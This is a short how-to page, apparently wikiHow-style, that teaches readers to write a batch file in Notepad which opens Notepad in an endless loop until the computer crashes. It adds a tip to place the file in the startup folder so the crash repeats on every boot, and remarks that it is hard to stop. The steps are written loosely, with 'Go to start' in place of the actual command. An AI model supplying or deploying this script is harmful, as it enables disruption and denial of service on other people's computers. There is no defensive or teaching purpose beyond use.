Write a Virus in Notepad
For those who aren't tech-savvy, computer viruses are feared and poorly-understood. Though these digital nuisances can seem like the work of highly-skilled computer experts, in reality, it's possible for even the least-experienced computer users to create a simple virus with nothing more than a few text commands in Notepad. To get started writing your own virus, see Step 1 below.
Steps
- Open Notepad.
- Type the following:
- @echo off
- :start
- Start notepad.
- Go to start.
- Save the file as anything.bat
- Double click the created file to crash your PC.
Tips
- You can put it in the startup folder to crash the computer whenever it starts.
- It can only be stopped by shutting down the PC or if you use Task Manager and very fast.
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